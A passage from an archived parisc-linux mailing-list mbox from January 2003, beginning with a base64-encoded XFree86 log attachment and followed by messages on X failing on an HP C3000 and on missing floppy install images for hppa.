MDA2MDAwIC0gMHhmNDAwNmZmZiAoMHgxMDAwKSBNWFtCXQ0KCVsxXSAtMSAw
CTB4ZjQwMDcwMDAgLSAweGY0MDA3ZmZmICgweDEwMDApIE1YW0JdDQoJWzJd
IC0xIDAJMHhmNDAwOTAwMCAtIDB4ZjQwMDkwMGYgKDB4MTApIE1YW0JdDQoJ
WzNdIC0xIDAJMHhmNDAwYTAwMCAtIDB4ZjQwMGEwMGYgKDB4MTApIE1YW0Jd
DQoJWzRdIC0xIDAJMHhmNDAwYjAwMCAtIDB4ZjQwMGIwMGYgKDB4MTApIE1Y
W0JdDQoJWzVdIC0xIDAJMHhmNDAwYzAwMCAtIDB4ZjQwMGMxZmYgKDB4MjAw
KSBNWFtCXQ0KCVs2XSAtMSAwCTB4ZjQwMDgwMDAgLSAweGY0MDA4M2ZmICgw
eDQwMCkgTVhbQl0NCglbN10gLTEgMAkweGY3MDAwMDAwIC0gMHhmNzFmZmZm
ZiAoMHgyMDAwMDApIE1YW0JdKEIpDQoJWzhdIC0xIDAJMHhmYTAwMDAwMCAt
IDB4ZmJmZmZmZmYgKDB4MjAwMDAwMCkgTVhbQl0oQikNCglbOV0gLTEgMAkw
eDAwMDAwODAwIC0gMHgwMDAwMDhmZiAoMHgxMDApIElYW0JdDQoJWzEwXSAt
MSAwCTB4MDAwMDA5MDAgLSAweDAwMDAwOWZmICgweDEwMCkgSVhbQl0NCglb
MTFdIC0xIDAJMHgwMDAwMGEwMCAtIDB4MDAwMDBhMGYgKDB4MTApIElYW0Jd
DQoJWzEyXSAtMSAwCTB4MDAwMDBiMDAgLSAweDAwMDAwYjAzICgweDQpIElY
W0JdDQoJWzEzXSAtMSAwCTB4MDAwMDBkMDAgLSAweDAwMDAwZDA3ICgweDgp
IElYW0JdDQoJWzE0XSAtMSAwCTB4MDAwMDBlMDAgLSAweDAwMDAwZTAzICgw
eDQpIElYW0JdDQoJWzE1XSAtMSAwCTB4MDAwMDBmMDAgLSAweDAwMDAwZjA3
ICgweDgpIElYW0JdDQoJWzE2XSAtMSAwCTB4MDAwMDEwMDAgLSAweDAwMDAx
MDdmICgweDgwKSBJWFtCXQ0KKElJKSBBY3RpdmUgUENJIHJlc291cmNlIHJh
bmdlcyBhZnRlciByZW1vdmluZyBvdmVybGFwczoNCglbMF0gLTEgMAkweGY0
MDA2MDAwIC0gMHhmNDAwNmZmZiAoMHgxMDAwKSBNWFtCXQ0KCVsxXSAtMSAw
CTB4ZjQwMDcwMDAgLSAweGY0MDA3ZmZmICgweDEwMDApIE1YW0JdDQoJWzJd
IC0xIDAJMHhmNDAwOTAwMCAtIDB4ZjQwMDkwMGYgKDB4MTApIE1YW0JdDQoJ
WzNdIC0xIDAJMHhmNDAwYTAwMCAtIDB4ZjQwMGEwMGYgKDB4MTApIE1YW0Jd
DQoJWzRdIC0xIDAJMHhmNDAwYjAwMCAtIDB4ZjQwMGIwMGYgKDB4MTApIE1Y
W0JdDQoJWzVdIC0xIDAJMHhmNDAwYzAwMCAtIDB4ZjQwMGMxZmYgKDB4MjAw
KSBNWFtCXQ0KCVs2XSAtMSAwCTB4ZjQwMDgwMDAgLSAweGY0MDA4M2ZmICgw
eDQwMCkgTVhbQl0NCglbN10gLTEgMAkweGY3MDAwMDAwIC0gMHhmNzFmZmZm
ZiAoMHgyMDAwMDApIE1YW0JdKEIpDQoJWzhdIC0xIDAJMHhmYTAwMDAwMCAt
IDB4ZmJmZmZmZmYgKDB4MjAwMDAwMCkgTVhbQl0oQikNCglbOV0gLTEgMAkw
eDAwMDAwODAwIC0gMHgwMDAwMDhmZiAoMHgxMDApIElYW0JdDQoJWzEwXSAt
MSAwCTB4MDAwMDA5MDAgLSAweDAwMDAwOWZmICgweDEwMCkgSVhbQl0NCglb
MTFdIC0xIDAJMHgwMDAwMGEwMCAtIDB4MDAwMDBhMGYgKDB4MTApIElYW0Jd
DQoJWzEyXSAtMSAwCTB4MDAwMDBiMDAgLSAweDAwMDAwYjAzICgweDQpIElY
W0JdDQoJWzEzXSAtMSAwCTB4MDAwMDBkMDAgLSAweDAwMDAwZDA3ICgweDgp
IElYW0JdDQoJWzE0XSAtMSAwCTB4MDAwMDBlMDAgLSAweDAwMDAwZTAzICgw
eDQpIElYW0JdDQoJWzE1XSAtMSAwCTB4MDAwMDBmMDAgLSAweDAwMDAwZjA3
ICgweDgpIElYW0JdDQoJWzE2XSAtMSAwCTB4MDAwMDEwMDAgLSAweDAwMDAx
MDdmICgweDgwKSBJWFtCXQ0KKElJKSBPUy1yZXBvcnRlZCByZXNvdXJjZSBy
YW5nZXMgYWZ0ZXIgcmVtb3Zpbmcgb3ZlcmxhcHMgd2l0aCBQQ0k6DQoJWzBd
IC0xIDAJMHhmZmZmZmZmZiAtIDB4ZmZmZmZmZmYgKDB4MSkgTVhbQl0NCglb
MV0gLTEgMAkweDAwMDAwMDAwIC0gMHgwMDAwMDAwMCAoMHgxKSBNWFtCXQ0K
CVsyXSAtMSAwCTB4MDAwMGZmZmYgLSAweDAwMDBmZmZmICgweDEpIElYW0Jd
DQoJWzNdIC0xIDAJMHgwMDAwMDAwMCAtIDB4MDAwMDAwMDAgKDB4MSkgSVhb
Ql0NCihJSSkgQWxsIHN5c3RlbSByZXNvdXJjZSByYW5nZXM6DQoJWzBdIC0x
IDAJMHhmZmZmZmZmZiAtIDB4ZmZmZmZmZmYgKDB4MSkgTVhbQl0NCglbMV0g
LTEgMAkweDAwMDAwMDAwIC0gMHgwMDAwMDAwMCAoMHgxKSBNWFtCXQ0KCVsy
XSAtMSAwCTB4ZjQwMDYwMDAgLSAweGY0MDA2ZmZmICgweDEwMDApIE1YW0Jd
DQoJWzNdIC0xIDAJMHhmNDAwNzAwMCAtIDB4ZjQwMDdmZmYgKDB4MTAwMCkg
TVhbQl0NCglbNF0gLTEgMAkweGY0MDA5MDAwIC0gMHhmNDAwOTAwZiAoMHgx
MCkgTVhbQl0NCglbNV0gLTEgMAkweGY0MDBhMDAwIC0gMHhmNDAwYTAwZiAo
MHgxMCkgTVhbQl0NCglbNl0gLTEgMAkweGY0MDBiMDAwIC0gMHhmNDAwYjAw
ZiAoMHgxMCkgTVhbQl0NCglbN10gLTEgMAkweGY0MDBjMDAwIC0gMHhmNDAw
YzFmZiAoMHgyMDApIE1YW0JdDQoJWzhdIC0xIDAJMHhmNDAwODAwMCAtIDB4
ZjQwMDgzZmYgKDB4NDAwKSBNWFtCXQ0KCVs5XSAtMSAwCTB4ZjcwMDAwMDAg
LSAweGY3MWZmZmZmICgweDIwMDAwMCkgTVhbQl0oQikNCglbMTBdIC0xIDAJ
MHhmYTAwMDAwMCAtIDB4ZmJmZmZmZmYgKDB4MjAwMDAwMCkgTVhbQl0oQikN
CglbMTFdIC0xIDAJMHgwMDAwZmZmZiAtIDB4MDAwMGZmZmYgKDB4MSkgSVhb
Ql0NCglbMTJdIC0xIDAJMHgwMDAwMDAwMCAtIDB4MDAwMDAwMDAgKDB4MSkg
SVhbQl0NCglbMTNdIC0xIDAJMHgwMDAwMDgwMCAtIDB4MDAwMDA4ZmYgKDB4
MTAwKSBJWFtCXQ0KCVsxNF0gLTEgMAkweDAwMDAwOTAwIC0gMHgwMDAwMDlm
ZiAoMHgxMDApIElYW0JdDQoJWzE1XSAtMSAwCTB4MDAwMDBhMDAgLSAweDAw
MDAwYTBmICgweDEwKSBJWFtCXQ0KCVsxNl0gLTEgMAkweDAwMDAwYjAwIC0g
MHgwMDAwMGIwMyAoMHg0KSBJWFtCXQ0KCVsxN10gLTEgMAkweDAwMDAwZDAw
IC0gMHgwMDAwMGQwNyAoMHg4KSBJWFtCXQ0KCVsxOF0gLTEgMAkweDAwMDAw
ZTAwIC0gMHgwMDAwMGUwMyAoMHg0KSBJWFtCXQ0KCVsxOV0gLTEgMAkweDAw
MDAwZjAwIC0gMHgwMDAwMGYwNyAoMHg4KSBJWFtCXQ0KCVsyMF0gLTEgMAkw
eDAwMDAxMDAwIC0gMHgwMDAwMTA3ZiAoMHg4MCkgSVhbQl0NCihJSSkgTUdB
OiBkcml2ZXIgZm9yIE1hdHJveCBjaGlwc2V0czogbWdhMjA2NHcsIG1nYTEw
NjRzZywgbWdhMjE2NHcsDQoJbWdhMjE2NHcgQUdQLCBtZ2FnMTAwLCBtZ2Fn
MTAwIFBDSSwgbWdhZzIwMCwgbWdhZzIwMCBQQ0ksIG1nYWc0MDANCihJSSkg
R0xJTlQ6IGRyaXZlciBmb3IgM0RsYWJzIGNoaXBzZXRzOiBnYW1tYSwgdGlf
cG0yLCB0aV9wbSwgcG0zLCBwbTJ2LA0KCXBtMiwgcG0sIDMwMHN4LCA1MDB0
eCwgbXgsIGRlbHRhDQoJUzNWSWRlbnRpZnkNCihJSSkgUzNWSVJHRTogZHJp
dmVyICh2ZXJzaW9uIDEuNi4xMykgZm9yIFMzIFZpUkdFIGNoaXBzZXRzOiB2
aXJnZSwgODZDMzI1LA0KCXZpcmdlIHZ4LCA4NkM5ODgsIHZpcmdlIGR4LCB2
aXJnZSBneCwgODZDMzc1LCA4NkMzODUsIHZpcmdlIGd4MiwNCgk4NkMzNTcs
IHZpcmdlIG14LCA4NkMyNjAsIHZpcmdlIG14KywgODZDMjgwLCB0cmlvIDNk
LCA4NkMzNjUsDQoJdHJpbyAzZC8yeCwgODZDMzYyLCA4NkMzNjgNCihJSSkg
U0lTOiBkcml2ZXIgZm9yIFNpUyBjaGlwc2V0czogU0lTNTU5NywgU0lTNTU5
OCwgU0lTNTMwLCBTSVM2MzI2LA0KCVNJUzMwMCwgU0lTNjMwLCBTSVM1NDAN
CihJSSkgU0FWQUdFOiBkcml2ZXIgKHZlcnNpb24gMS4xLjE2KSBmb3IgUzMg
U2F2YWdlIGNoaXBzZXRzOiBTYXZhZ2U0LA0KCVNhdmFnZTNELCBTYXZhZ2Uz
RC1NViwgU2F2YWdlMjAwMCwgU2F2YWdlL01YLU1WLCBTYXZhZ2UvTVgsDQoJ
U2F2YWdlL0lYLU1WLCBTYXZhZ2UvSVgsIFByb1NhdmFnZSBQTTEzMywgUHJv
U2F2YWdlIEtNMTMzLCBUd2lzdGVyLA0KCVR3aXN0ZXJLDQooSUkpIFRSSURF
TlQ6IGRyaXZlciBmb3IgVHJpZGVudCBjaGlwc2V0czogdHZnYTg5MDBkLCBj
eWJlcjkzMjAsIGN5YmVyOTM4OCwNCgljeWJlcjkzOTcsIGN5YmVyOTM5N2R2
ZCwgY3liZXI5NTIwLCBjeWJlcjk1MjVkdmQsIGN5YmVyYmxhZGUvZTQsDQoJ
dGd1aTk0MjBkZ2ksIHRndWk5NDQwYWdpLCB0Z3VpOTY2MCwgdGd1aTk2ODAs
IHByb3ZpZGlhOTY4MiwNCglwcm92aWRpYTk2ODUsIGN5YmVyOTM4MiwgY3li
ZXI5Mzg1LCAzZGltYWdlOTc1LCAzZGltYWdlOTg1LCBibGFkZTNkLA0KCWN5
YmVyYmxhZGVpNywgY3liZXJibGFkZWk3ZCwgY3liZXJibGFkZWkxLCBjeWJl
cmJsYWRlaTFkLA0KCWN5YmVyYmxhZGVBaTEsIGN5YmVyYmxhZGVBaTFkLCBj
eWJlcmJsYWRlWFAsIGN5YmVyYmxhZGVYUG0NCihJSSkgQ0hJUFM6IERyaXZl
ciBmb3IgQ2hpcHMgYW5kIFRlY2hub2xvZ2llcyBjaGlwc2V0czogY3Q2NTUy
MCwgY3Q2NTUyNSwNCgljdDY1NTMwLCBjdDY1NTM1LCBjdDY1NTQwLCBjdDY1
NTQ1LCBjdDY1NTQ2LCBjdDY1NTQ4LCBjdDY1NTUwLA0KCWN0NjU1NTQsIGN0
NjU1NTUsIGN0Njg1NTQsIGN0NjkwMDAsIGN0NjkwMzAsIGN0NjQyMDAsIGN0
NjQzMDANCihJSSkgVERGWDogRHJpdmVyIGZvciAzZGZ4IEJhbnNoZWUvVm9v
ZG9vMyBjaGlwc2V0czogM2RmeCBCYW5zaGVlLA0KCTNkZnggVm9vZG9vMywg
M2RmeCBWb29kb281DQooSUkpIEZCRGV2OiBkcml2ZXIgZm9yIGZyYW1lYnVm
ZmVyOiBmYmRldiwgYWZiDQooSUkpIEFUSTogQVRJIGRyaXZlciAodmVyc2lv
biA2LjMuNikgZm9yIGNoaXBzZXRzOiBhdGkNCihJSSkgUjEyODogRHJpdmVy
IGZvciBBVEkgUmFnZSAxMjggY2hpcHNldHM6IEFUSSBSYWdlIDEyOCBSRSAo
UENJKSwNCglBVEkgUmFnZSAxMjggUkYgKEFHUCksIEFUSSBSYWdlIDEyOCBS
RyAoQUdQKSwgQVRJIFJhZ2UgMTI4IFJLIChQQ0kpLA0KCUFUSSBSYWdlIDEy
OCBSTCAoQUdQKSwgQVRJIFJhZ2UgMTI4IFBybyBQRCAoUENJKSwNCglBVEkg
UmFnZSAxMjggUHJvIFBGIChBR1ApLCBBVEkgUmFnZSAxMjggUHJvIFBQIChQ
Q0kpLA0KCUFUSSBSYWdlIDEyOCBQcm8gUFIgKFBDSSksIEFUSSBSYWdlIDEy
OCBNb2JpbGl0eSBMRSAoUENJKSwNCglBVEkgUmFnZSAxMjggTW9iaWxpdHkg
TEYgKEFHUCksIEFUSSBSYWdlIDEyOCBNb2JpbGl0eSBNRiAoQUdQKSwNCglB
VEkgUmFnZSAxMjggTW9iaWxpdHkgTUwgKEFHUCkNCihJSSkgUkFERU9OOiBE
cml2ZXIgZm9yIEFUSSBSYWRlb24gY2hpcHNldHM6IEFUSSBSYWRlb24gUUQg
KEFHUCksDQoJQVRJIFJhZGVvbiBRRSAoQUdQKSwgQVRJIFJhZGVvbiBRRiAo
QUdQKSwgQVRJIFJhZGVvbiBRRyAoQUdQKSwNCglBVEkgUmFkZW9uIFZFIChB
R1ApDQooSUkpIGltc3R0OiBkcml2ZXIgKHZlcnNpb24gMS4wLjAgZm9yIElN
UyBUd2luVHVyYm8gY2hpcHNldHMgOiBpbXN0dDEyOCwNCglpbXN0dDNkDQoo
SUkpIFZHQTogR2VuZXJpYyBWR0EgZHJpdmVyICh2ZXJzaW9uIDQuMCkgZm9y
IGNoaXBzZXRzOiBnZW5lcmljDQooSUkpIHY0bCBkcml2ZXIgZm9yIFZpZGVv
NExpbnV4DQoJUzNWUHJvYmUgYmVnaW4NCihFRSkgTm8gZGV2aWNlcyBkZXRl
Y3RlZC4NCg0KRmF0YWwgc2VydmVyIGVycm9yOg0Kbm8gc2NyZWVucyBmb3Vu
ZA0KDQpXaGVuIHJlcG9ydGluZyBhIHByb2JsZW0gcmVsYXRlZCB0byBhIHNl
cnZlciBjcmFzaCwgcGxlYXNlIHNlbmQNCnRoZSBmdWxsIHNlcnZlciBvdXRw
dXQsIG5vdCBqdXN0IHRoZSBsYXN0IG1lc3NhZ2VzLg0KVGhpcyBjYW4gYmUg
Zm91bmQgaW4gdGhlIGxvZyBmaWxlICIvdmFyL2xvZy9YRnJlZTg2LjAubG9n
Ii4NClBsZWFzZSByZXBvcnQgcHJvYmxlbXMgdG8gc3VibWl0QGJ1Z3MuZGVi
aWFuLm9yZy4NCg0K
--110259765-898508547-1043059225=:5018--


From - Thu Nov 08 21:26:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X on C3000
Date: Tue, 21 Jan 2003 08:02:38 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <3E2C21FE00000116@ocpmta1.freegates.net>
References: <Pine.LNX.4.50.0301200433230.5018-300000@lion.ece.utexas.edu>
Reply-To: "Joel Soete" <joel.soete@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622133 20418 80.91.229.3 (22 Nov 2014 02:08:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:53 +0000 (UTC)
To: "Bala" <balak@ieee.org>, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 21 01:56:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E1E0482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 21 Jan 2003 01:56:02 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18auCM-0008SV-00; Tue, 21 Jan 2003 09:55:58 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 21 Jan 2003 08:02:38 +0100
In-Reply-To: <Pine.LNX.4.50.0301200433230.5018-300000@lion.ece.utexas.edu>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17452

Hi Bala,
>
>I have not been able to setup X on my C3000. It says "screen not
>found". I tried using using your XF86Config-4 file but it still doesn't
>help. I am posting the dmesg and the X logs. Can anyone figure out what
>could be the reason?
>
In your dmesg:
...
STI device: HPA4553A
stifb: Unsupported gfx card id 0x2fc1066b
...

AFAIK you can refer to: <http://lists.parisc-linux.org/pipermail/parisc-linux/2003-January/018795.html>

Regards,
    Joel


*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be




From - Thu Nov 08 21:26:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mehta, Miten" <mmehta@elgin.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] floppy images
Date: Tue, 21 Jan 2003 09:54:20 -0600
Lines: 8
Approved: news@gmane.org
Message-ID: <5D69EA3878E6D411B43C00508BFD7283049FB535@exchange2.elgin.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622133 20419 80.91.229.3 (22 Nov 2014 02:08:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:53 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 21 08:57:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from exchange2.elgin.cc.il.us (exchange2.elgin.edu [66.158.60.7])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4F0E9482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 21 Jan 2003 08:57:43 -0700 (MST)
Original-Received: by exchange2.elgin.edu with Internet Mail Service (5.5.2653.19)
	id <C2L7F9XF>; Tue, 21 Jan 2003 09:54:21 -0600
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17453

Hello,

why are floppy images not supported like for i386?

Thanks.




From - Thu Nov 08 21:26:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] floppy images
Date: Tue, 21 Jan 2003 08:35:05 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <20030121163505.GB11363@tausq.org>
References: <5D69EA3878E6D411B43C00508BFD7283049FB535@exchange2.elgin.edu>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622133 20420 80.91.229.3 (22 Nov 2014 02:08:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:53 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Mehta, Miten" <mmehta@elgin.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 21 09:38:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0226E482F
	for <parisc-linux@lists.parisc-linux.org>; Tue, 21 Jan 2003 09:38:23 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 25B9ECDA56; Tue, 21 Jan 2003 08:35:05 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <5D69EA3878E6D411B43C00508BFD7283049FB535@exchange2.elgin.edu>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17454

> why are floppy images not supported like for i386?

I guess mostly because no one has asked for them, or been motivated
enough to create them. Unlike i386, diskless installs for hppa work 
very well....

also, i think floppy drivers are not yet supported for many of the 
parisc floppy controllers.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] floppy images
Date: Tue, 21 Jan 2003 17:42:33 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <56D6AF9A-2D5F-11D7-A574-0030656F07A2@esiee.fr>
References: <5D69EA3878E6D411B43C00508BFD7283049FB535@exchange2.elgin.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v551)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622133 20422 80.91.229.3 (22 Nov 2014 02:08:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:53 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Mehta, Miten" <mmehta@elgin.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 21 09:42:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9BA73482F
	for <parisc-linux@lists.parisc-linux.org>; Tue, 21 Jan 2003 09:42:36 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 7590A49C34; Tue, 21 Jan 2003 17:42:35 +0100 (CET)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 7823E49C48; Tue, 21 Jan 2003 17:42:33 +0100 (CET)
In-Reply-To: <5D69EA3878E6D411B43C00508BFD7283049FB535@exchange2.elgin.edu>
X-Mailer: Apple Mail (2.551)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17455

http://www.parisc-linux.org/mailing-lists/
http://pateam.esiee.fr/parisc-linux-boot/doc.html

RT...

Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/

On mardi, jan 21, 2003, at 16:54 Europe/Paris, Mehta, Miten wrote:

> Hello,
>
> why are floppy images not supported like for i386?
>
> Thanks.
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>




From - Thu Nov 08 21:26:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] floppy images
Date: Tue, 21 Jan 2003 10:28:20 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20030121172820.GB26882@dsl2.external.hp.com>
References: <5D69EA3878E6D411B43C00508BFD7283049FB535@exchange2.elgin.edu> <20030121163505.GB11363@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622134 20424 80.91.229.3 (22 Nov 2014 02:08:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 21 10:28:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id AFB2C482A; Tue, 21 Jan 2003 10:28:20 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030121163505.GB11363@tausq.org>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17456

